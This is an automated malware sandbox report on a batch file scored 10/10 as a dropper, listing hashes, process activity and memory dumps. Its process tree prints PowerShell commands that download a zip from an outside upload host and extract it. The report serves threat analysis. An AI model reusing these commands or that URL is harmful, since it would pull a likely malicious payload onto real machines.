3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1s
max time network
38s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
30/10/2023, 15:14

Target

tesy - Copy (14).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3708 wrote to memory of 3128	3708	cmd.exe	88
PID 3708 wrote to memory of 3128	3708	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  PID:3128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  PID:4872

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_duqb2tuu.asp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3128-7-0x00007FFD6D8E0000-0x00007FFD6E3A1000-memory.dmp

Filesize
10.8MB

Download
memory/3128-6-0x0000026376FD0000-0x0000026376FF2000-memory.dmp

Filesize
136KB

Download
memory/3128-11-0x0000026374E50000-0x0000026374E60000-memory.dmp

Filesize
64KB

Download
memory/3128-12-0x0000026374E50000-0x0000026374E60000-memory.dmp

Filesize
64KB

Download
memory/3128-13-0x0000026374E50000-0x0000026374E60000-memory.dmp

Filesize
64KB

Download
memory/3128-17-0x00007FFD6D8E0000-0x00007FFD6E3A1000-memory.dmp

Filesize
10.8MB

Download